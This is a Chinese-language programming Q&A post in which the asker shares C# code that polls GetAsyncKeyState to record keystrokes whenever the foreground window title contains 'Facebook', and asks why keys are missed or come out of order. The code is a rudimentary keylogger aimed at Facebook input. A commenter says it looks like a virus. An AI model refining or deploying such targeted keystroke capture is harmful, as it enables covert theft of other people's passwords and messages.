【发布时间】:2020-05-08 17:14:04
【问题描述】:
如果活动窗口标题包含“Facebook”,我有以下代码可以捕获击键,但是,在测试时...我没有得到准确的按键顺序,并且有些按键被遗漏了...什么可以我要对此进行改进吗?
例如:如果我输入“ALI”,我会打印出“AIL”
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
【问题讨论】:
-
好像你正在尝试构建病毒。
标签: c# .net console-application